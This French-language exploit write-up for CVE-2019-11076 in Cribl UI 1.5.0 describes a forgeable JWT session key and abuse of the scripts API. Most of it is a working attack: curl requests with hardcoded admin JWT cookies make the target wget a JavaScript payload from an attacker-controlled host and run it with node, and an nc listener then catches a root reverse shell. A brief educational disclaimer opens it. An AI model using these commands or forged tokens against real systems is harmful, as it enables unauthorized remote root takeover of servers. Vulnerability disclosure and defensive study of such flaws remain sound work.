
CVE-2019-11076 - Cribl UI 1.5.0 permet à des attaquants distants d'exécuter des commandes arbitraires via une requête web non authentifiée
Ceci est uniquement à des fins d'information/éducation.
Ce document a été assemblé pour démontrer une insécurité dans l'outil, afin qu'un correctif soit vérifié par le fournisseur.
Testé sur Cribl v1.5.0 – Les versions antérieures n'ont pas été testées mais sont probablement vulnérables.
Un jeton JWT valide peut être transféré et injecté dans la session d'une autre instance Cribl, donnant à l'utilisateur un accès non autorisé.
De plus, la clé de chiffrement utilisée pour générer le JWT/la session peut être utilisée pour créer une session valide pour n'importe quel nom d'utilisateur, avec une expiration étendue.
Cela, combiné à la capacité d'exécuter des scripts dans Cribl, permet à un attaquant distant d'exécuter du code malveillant sur une instance Crible afin d'obtenir un contrôle plus poussé.
Un exemple de ceci peut être vu ci-dessous, en utilisant la page de scripts et un jeton JWT à longue expiration, il a été possible de créer un shell inversé.
Testé avec Docker (Alpine).
Tout d'abord, modifiez (le nom de l'hôte distant) et téléchargez votre shell.js sur votre serveur web. Le fichier contient du code NodeJS pour créer un shell inversé vers votre site web.
Le serveur doit avoir un accès réseau sortant vers votre hôte/port distant.
Ensuite, configurez un écouteur sur votre hôte distant, sur le port correspondant à shell.js :
nc -lvp 6669
Adaptez les commandes curl suivantes avec votre fichier distant.
Exécutez les commandes CURL dans l'ordre, les sorties devraient correspondre approximativement aux indentations ci-dessous.
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...